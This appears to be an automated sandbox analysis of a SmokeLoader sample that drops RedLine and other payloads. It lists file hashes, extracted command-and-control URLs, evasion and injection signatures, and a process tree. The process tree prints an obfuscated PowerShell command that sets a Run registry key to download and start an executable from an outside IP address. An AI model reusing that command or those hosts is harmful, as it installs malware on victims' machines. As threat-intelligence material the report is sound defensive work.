Analysis
-
max time kernel
150s -
max time network
181s -
platform
windows7_x64 -
resource
win7v20210410 -
submitted
13-08-2021 08:19
Static task
static1
Behavioral task
behavioral1
Sample
1435210d7fd8a66a8a0787e93474510e.exe
Resource
win7v20210410
Behavioral task
behavioral2
Sample
1435210d7fd8a66a8a0787e93474510e.exe
Resource
win10v20210408
General
-
Target
1435210d7fd8a66a8a0787e93474510e.exe
-
Size
180KB
-
MD5
1435210d7fd8a66a8a0787e93474510e
-
SHA1
40922836e23ec2518ecd0dd0791aa915a6db3510
-
SHA256
db7567fb09a39541f647459821e529ccf33c99778a45eb8042461dc308916364
-
SHA512
c26aad8d35001e506120147ba3cef9d39c0c908137061805ebbaa028005efe4b4a4c58bebfd5e2df94f1cfd78260c7eb69f6c02038530866e4b1e9702d879bc2
Malware Config
Extracted
smokeloader
2020
http://readinglistforjuly1.xyz/
http://readinglistforjuly2.xyz/
http://readinglistforjuly3.xyz/
http://readinglistforjuly4.xyz/
http://readinglistforjuly5.xyz/
http://readinglistforjuly6.xyz/
http://readinglistforjuly7.xyz/
http://readinglistforjuly8.xyz/
http://readinglistforjuly9.xyz/
http://readinglistforjuly10.xyz/
http://readinglistforjuly1.site/
http://readinglistforjuly2.site/
http://readinglistforjuly3.site/
http://readinglistforjuly4.site/
http://readinglistforjuly5.site/
http://readinglistforjuly6.site/
http://readinglistforjuly7.site/
http://readinglistforjuly8.site/
http://readinglistforjuly9.site/
http://readinglistforjuly10.site/
http://readinglistforjuly1.club/
http://readinglistforjuly2.club/
http://readinglistforjuly3.club/
http://readinglistforjuly4.club/
http://readinglistforjuly5.club/
http://readinglistforjuly6.club/
http://readinglistforjuly7.club/
http://readinglistforjuly8.club/
http://readinglistforjuly9.club/
http://readinglistforjuly10.club/
Signatures
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
-
Downloads MZ/PE file
-
Executes dropped EXE 6 IoCs
Processes:
A4F6.exeA8FD.exeABAC.exeRuntimebroker.exeAF36.exeB58D.exepid process 860 A4F6.exe 1632 A8FD.exe 772 ABAC.exe 1640 Runtimebroker.exe 1100 AF36.exe 1256 B58D.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
B58D.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion B58D.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion B58D.exe -
Deletes itself 1 IoCs
Processes:
pid process 1260 -
Drops startup file 2 IoCs
Processes:
cmd.exedescription ioc process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchostsw.exe cmd.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchostsw.exe cmd.exe -
Loads dropped DLL 2 IoCs
Processes:
A8FD.exepid process 1632 A8FD.exe 1632 A8FD.exe -
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\B58D.exe themida behavioral1/memory/1256-93-0x0000000000B20000-0x0000000000B21000-memory.dmp themida -
Processes:
B58D.exedescription ioc process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA B58D.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
Processes:
B58D.exepid process 1256 B58D.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
1435210d7fd8a66a8a0787e93474510e.exedescription pid process target process PID 2000 set thread context of 1300 2000 1435210d7fd8a66a8a0787e93474510e.exe 1435210d7fd8a66a8a0787e93474510e.exe -
Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
Processes:
1435210d7fd8a66a8a0787e93474510e.exedescription ioc process Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 1435210d7fd8a66a8a0787e93474510e.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 1435210d7fd8a66a8a0787e93474510e.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 1435210d7fd8a66a8a0787e93474510e.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
1435210d7fd8a66a8a0787e93474510e.exepid process 1300 1435210d7fd8a66a8a0787e93474510e.exe 1300 1435210d7fd8a66a8a0787e93474510e.exe 1260 1260 1260 1260 1260 1260 1260 1260 1260 1260 1260 1260 1260 1260 1260 1260 1260 1260 1260 1260 1260 1260 1260 1260 1260 1260 1260 1260 1260 1260 1260 1260 1260 1260 1260 1260 1260 1260 1260 1260 1260 1260 1260 1260 1260 1260 1260 1260 1260 1260 1260 1260 1260 1260 1260 1260 1260 1260 1260 1260 1260 1260 -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
Processes:
pid process 1260 -
Suspicious behavior: MapViewOfSection 1 IoCs
Processes:
1435210d7fd8a66a8a0787e93474510e.exepid process 1300 1435210d7fd8a66a8a0787e93474510e.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
Processes:
B58D.exepowershell.exedescription pid process Token: SeShutdownPrivilege 1260 Token: SeShutdownPrivilege 1260 Token: SeDebugPrivilege 1256 B58D.exe Token: SeDebugPrivilege 1756 powershell.exe -
Suspicious use of FindShellTrayWindow 4 IoCs
Processes:
pid process 1260 1260 1260 1260 -
Suspicious use of SendNotifyMessage 6 IoCs
Processes:
pid process 1260 1260 1260 1260 1260 1260 -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
A4F6.exepid process 860 A4F6.exe -
Suspicious use of WriteProcessMemory 42 IoCs
Processes:
1435210d7fd8a66a8a0787e93474510e.exeA8FD.exeRuntimebroker.exeABAC.exedescription pid process target process PID 2000 wrote to memory of 1300 2000 1435210d7fd8a66a8a0787e93474510e.exe 1435210d7fd8a66a8a0787e93474510e.exe PID 2000 wrote to memory of 1300 2000 1435210d7fd8a66a8a0787e93474510e.exe 1435210d7fd8a66a8a0787e93474510e.exe PID 2000 wrote to memory of 1300 2000 1435210d7fd8a66a8a0787e93474510e.exe 1435210d7fd8a66a8a0787e93474510e.exe PID 2000 wrote to memory of 1300 2000 1435210d7fd8a66a8a0787e93474510e.exe 1435210d7fd8a66a8a0787e93474510e.exe PID 2000 wrote to memory of 1300 2000 1435210d7fd8a66a8a0787e93474510e.exe 1435210d7fd8a66a8a0787e93474510e.exe PID 2000 wrote to memory of 1300 2000 1435210d7fd8a66a8a0787e93474510e.exe 1435210d7fd8a66a8a0787e93474510e.exe PID 2000 wrote to memory of 1300 2000 1435210d7fd8a66a8a0787e93474510e.exe 1435210d7fd8a66a8a0787e93474510e.exe PID 1260 wrote to memory of 860 1260 A4F6.exe PID 1260 wrote to memory of 860 1260 A4F6.exe PID 1260 wrote to memory of 860 1260 A4F6.exe PID 1260 wrote to memory of 860 1260 A4F6.exe PID 1260 wrote to memory of 1632 1260 A8FD.exe PID 1260 wrote to memory of 1632 1260 A8FD.exe PID 1260 wrote to memory of 1632 1260 A8FD.exe PID 1260 wrote to memory of 1632 1260 A8FD.exe PID 1260 wrote to memory of 772 1260 ABAC.exe PID 1260 wrote to memory of 772 1260 ABAC.exe PID 1260 wrote to memory of 772 1260 ABAC.exe PID 1260 wrote to memory of 772 1260 ABAC.exe PID 1632 wrote to memory of 1640 1632 A8FD.exe Runtimebroker.exe PID 1632 wrote to memory of 1640 1632 A8FD.exe Runtimebroker.exe PID 1632 wrote to memory of 1640 1632 A8FD.exe Runtimebroker.exe PID 1632 wrote to memory of 1640 1632 A8FD.exe Runtimebroker.exe PID 1260 wrote to memory of 1100 1260 AF36.exe PID 1260 wrote to memory of 1100 1260 AF36.exe PID 1260 wrote to memory of 1100 1260 AF36.exe PID 1260 wrote to memory of 1100 1260 AF36.exe PID 1260 wrote to memory of 1256 1260 B58D.exe PID 1260 wrote to memory of 1256 1260 B58D.exe PID 1260 wrote to memory of 1256 1260 B58D.exe PID 1260 wrote to memory of 1256 1260 B58D.exe PID 1260 wrote to memory of 1256 1260 B58D.exe PID 1260 wrote to memory of 1256 1260 B58D.exe PID 1260 wrote to memory of 1256 1260 B58D.exe PID 1640 wrote to memory of 1756 1640 Runtimebroker.exe powershell.exe PID 1640 wrote to memory of 1756 1640 Runtimebroker.exe powershell.exe PID 1640 wrote to memory of 1756 1640 Runtimebroker.exe powershell.exe PID 1640 wrote to memory of 1756 1640 Runtimebroker.exe powershell.exe PID 772 wrote to memory of 2028 772 ABAC.exe cmd.exe PID 772 wrote to memory of 2028 772 ABAC.exe cmd.exe PID 772 wrote to memory of 2028 772 ABAC.exe cmd.exe PID 772 wrote to memory of 2028 772 ABAC.exe cmd.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\1435210d7fd8a66a8a0787e93474510e.exe"C:\Users\Admin\AppData\Local\Temp\1435210d7fd8a66a8a0787e93474510e.exe"1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\1435210d7fd8a66a8a0787e93474510e.exe"C:\Users\Admin\AppData\Local\Temp\1435210d7fd8a66a8a0787e93474510e.exe"2⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\AppData\Local\Temp\A4F6.exeC:\Users\Admin\AppData\Local\Temp\A4F6.exe1⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\A8FD.exeC:\Users\Admin\AppData\Local\Temp\A8FD.exe1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\ProgramData\Runtimebroker.exe"C:\ProgramData\Runtimebroker.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell Set-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'Sound device' -Value 'Cmd.Exe /c POwERsheLl -WinD HIDDen -CoMmAN (New-Object System.Net.WebClient).DownloadFile((''http://193.56.146.55/Ru''+''nti''+''m''+''ebr''+''oke''+''r.exe''),($env:TEMP+''\Vp''+''nm.e''+''xe''));Start-Process ($env:TEMP+''\V''+''pn''+''m.exe'')'3⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\ABAC.exeC:\Users\Admin\AppData\Local\Temp\ABAC.exe1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.execmd /Q /C C:\Users\Admin\AppData\Local\Temp/s.bat2⤵
- Drops startup file
-
C:\Users\Admin\AppData\Local\Temp\AF36.exeC:\Users\Admin\AppData\Local\Temp\AF36.exe1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\B58D.exeC:\Users\Admin\AppData\Local\Temp\B58D.exe1⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\ProgramData\Runtimebroker.exeMD5
fcce9e904debca11888ba8898e9dca46
SHA1fe1b574c5ad4db3d544708cc409357116f8638fc
SHA256859fa39701df6b9c12fb6c02e0623d93bd456d9a0d8f65ada0aafec3e74889e6
SHA512cb7ef5936e0d77582955b617185a3e4cb08106c8fce93aa4c13168365b330283b22aa2c6080de7c1a80970e0b6f8a5dfb9c90ca8eae99875409e1623b9dbb126
-
C:\ProgramData\Runtimebroker.exeMD5
fcce9e904debca11888ba8898e9dca46
SHA1fe1b574c5ad4db3d544708cc409357116f8638fc
SHA256859fa39701df6b9c12fb6c02e0623d93bd456d9a0d8f65ada0aafec3e74889e6
SHA512cb7ef5936e0d77582955b617185a3e4cb08106c8fce93aa4c13168365b330283b22aa2c6080de7c1a80970e0b6f8a5dfb9c90ca8eae99875409e1623b9dbb126
-
C:\Users\Admin\AppData\Local\Temp\A4F6.exeMD5
a69e12607d01237460808fa1709e5e86
SHA14a12f82aee1c90e70cdf6be863ce1a749c8ae411
SHA256188e05efb42c1f7fdb5c910a6614f710a87ae642b23ac9ffe3f75246744865bc
SHA5127533e6da6bac0405fc8b608da8020b54b6ee02592e6fd40ea342e130a8a876ae5ef4a1fd636d95e76339dbf8be45cecbd22ca2d0a4635b055ffafec3d7e15284
-
C:\Users\Admin\AppData\Local\Temp\A8FD.exeMD5
fcce9e904debca11888ba8898e9dca46
SHA1fe1b574c5ad4db3d544708cc409357116f8638fc
SHA256859fa39701df6b9c12fb6c02e0623d93bd456d9a0d8f65ada0aafec3e74889e6
SHA512cb7ef5936e0d77582955b617185a3e4cb08106c8fce93aa4c13168365b330283b22aa2c6080de7c1a80970e0b6f8a5dfb9c90ca8eae99875409e1623b9dbb126
-
C:\Users\Admin\AppData\Local\Temp\A8FD.exeMD5
fcce9e904debca11888ba8898e9dca46
SHA1fe1b574c5ad4db3d544708cc409357116f8638fc
SHA256859fa39701df6b9c12fb6c02e0623d93bd456d9a0d8f65ada0aafec3e74889e6
SHA512cb7ef5936e0d77582955b617185a3e4cb08106c8fce93aa4c13168365b330283b22aa2c6080de7c1a80970e0b6f8a5dfb9c90ca8eae99875409e1623b9dbb126
-
C:\Users\Admin\AppData\Local\Temp\ABAC.exeMD5
b19ac380411ed5d8b5a7e7e0c1da61a6
SHA19665c20336a5ce437bbf7b564370bfa43e99954c
SHA256aba88a19b2f6e2cf9a6a41ab8661d83c433acec363028f58dd74d37e335c7619
SHA51273b4e3555cf9496a7138a2c7071ed81a754493afaf15f604a305f3eb051ed72645731a6174b0934f24371dbe5bd8c0185516f87778a018d84df4fff8aea0c208
-
C:\Users\Admin\AppData\Local\Temp\ABAC.exeMD5
b19ac380411ed5d8b5a7e7e0c1da61a6
SHA19665c20336a5ce437bbf7b564370bfa43e99954c
SHA256aba88a19b2f6e2cf9a6a41ab8661d83c433acec363028f58dd74d37e335c7619
SHA51273b4e3555cf9496a7138a2c7071ed81a754493afaf15f604a305f3eb051ed72645731a6174b0934f24371dbe5bd8c0185516f87778a018d84df4fff8aea0c208
-
C:\Users\Admin\AppData\Local\Temp\AF36.exeMD5
5707ddada5b7ea6bef434cd294fa12e1
SHA145bb285a597b30e100ed4b15d96a29d718697e5e
SHA25685205aa3ad824b5172d5da841d253c3a54aff5d00eb2c208029e9453008f132c
SHA51291cbdbf8da7e4e34de45a99359bdc321a66d6646ed14a1042346824c8daa6237281eff3b00fd162009c5e3204e5a7cd3b944f05e18b7f9066d0f9dd16b56bf13
-
C:\Users\Admin\AppData\Local\Temp\AF36.exeMD5
5707ddada5b7ea6bef434cd294fa12e1
SHA145bb285a597b30e100ed4b15d96a29d718697e5e
SHA25685205aa3ad824b5172d5da841d253c3a54aff5d00eb2c208029e9453008f132c
SHA51291cbdbf8da7e4e34de45a99359bdc321a66d6646ed14a1042346824c8daa6237281eff3b00fd162009c5e3204e5a7cd3b944f05e18b7f9066d0f9dd16b56bf13
-
C:\Users\Admin\AppData\Local\Temp\B58D.exeMD5
717d65dba56f47e540dca074c3977b3d
SHA1d58aa30f826f41663e693f0ad930fdce584f1672
SHA25661fb1160ae372d9ba1c95400d5439450c6a66cdf073fa50ee2d5d10c4952cbb3
SHA512b06e4358411eb8f6315c574922c021bd57218b3e6a0ed727df6b44e20e7818d40fb0347050ce9145ea7e0fd56a7fa93a2358e524c0df030d6d44067c7c83510d
-
C:\Users\Admin\AppData\Local\Temp\s.batMD5
0a082f8cb869d05702806a8d7230ee1d
SHA1bca0aa63551a125788b2c183146b6ba8a77ea349
SHA25673a0f91db65cd12af0429020be1ffc3b4629777fc2c85c99da543662cdf4d84b
SHA512d973f271d7c7474b2e5864bb688902a14e6d2e81c7b2555424233b4f2411fbb10fd67f4b02f6bc0ea301f3e8dcdfd069476acc379a97bb5a73690a9c15359496
-
\ProgramData\Runtimebroker.exeMD5
fcce9e904debca11888ba8898e9dca46
SHA1fe1b574c5ad4db3d544708cc409357116f8638fc
SHA256859fa39701df6b9c12fb6c02e0623d93bd456d9a0d8f65ada0aafec3e74889e6
SHA512cb7ef5936e0d77582955b617185a3e4cb08106c8fce93aa4c13168365b330283b22aa2c6080de7c1a80970e0b6f8a5dfb9c90ca8eae99875409e1623b9dbb126
-
\ProgramData\Runtimebroker.exeMD5
fcce9e904debca11888ba8898e9dca46
SHA1fe1b574c5ad4db3d544708cc409357116f8638fc
SHA256859fa39701df6b9c12fb6c02e0623d93bd456d9a0d8f65ada0aafec3e74889e6
SHA512cb7ef5936e0d77582955b617185a3e4cb08106c8fce93aa4c13168365b330283b22aa2c6080de7c1a80970e0b6f8a5dfb9c90ca8eae99875409e1623b9dbb126
-
memory/772-105-0x00000000050C0000-0x00000000052D1000-memory.dmpFilesize
2.1MB
-
memory/772-107-0x0000000000400000-0x0000000002D86000-memory.dmpFilesize
41.5MB
-
memory/772-96-0x0000000000400000-0x0000000002D86000-memory.dmpFilesize
41.5MB
-
memory/772-95-0x0000000003510000-0x0000000003753000-memory.dmpFilesize
2.3MB
-
memory/772-73-0x0000000000000000-mapping.dmp
-
memory/860-65-0x0000000000000000-mapping.dmp
-
memory/1100-82-0x0000000000000000-mapping.dmp
-
memory/1100-85-0x0000000000FC0000-0x0000000000FC1000-memory.dmpFilesize
4KB
-
memory/1100-90-0x0000000004D00000-0x0000000004D01000-memory.dmpFilesize
4KB
-
memory/1256-93-0x0000000000B20000-0x0000000000B21000-memory.dmpFilesize
4KB
-
memory/1256-88-0x0000000000000000-mapping.dmp
-
memory/1256-97-0x0000000000700000-0x0000000000701000-memory.dmpFilesize
4KB
-
memory/1260-64-0x0000000002AC0000-0x0000000002AD6000-memory.dmpFilesize
88KB
-
memory/1300-61-0x0000000000402E1A-mapping.dmp
-
memory/1300-60-0x0000000000400000-0x0000000000409000-memory.dmpFilesize
36KB
-
memory/1300-62-0x0000000075161000-0x0000000075163000-memory.dmpFilesize
8KB
-
memory/1632-79-0x0000000000230000-0x000000000026B000-memory.dmpFilesize
236KB
-
memory/1632-81-0x0000000000400000-0x0000000002C7D000-memory.dmpFilesize
40.5MB
-
memory/1632-69-0x0000000000000000-mapping.dmp
-
memory/1640-77-0x0000000000000000-mapping.dmp
-
memory/1640-87-0x0000000000400000-0x0000000002C7D000-memory.dmpFilesize
40.5MB
-
memory/1756-99-0x0000000000000000-mapping.dmp
-
memory/1756-103-0x0000000002410000-0x0000000002411000-memory.dmpFilesize
4KB
-
memory/1756-106-0x00000000022D0000-0x0000000002F1A000-memory.dmpFilesize
12.3MB
-
memory/1756-102-0x00000000049E0000-0x00000000049E1000-memory.dmpFilesize
4KB
-
memory/1756-104-0x00000000022D0000-0x0000000002F1A000-memory.dmpFilesize
12.3MB
-
memory/1756-110-0x00000000028D0000-0x00000000028D1000-memory.dmpFilesize
4KB
-
memory/1756-101-0x00000000003A0000-0x00000000003A1000-memory.dmpFilesize
4KB
-
memory/2000-63-0x0000000000220000-0x000000000022A000-memory.dmpFilesize
40KB
-
memory/2028-109-0x0000000000000000-mapping.dmp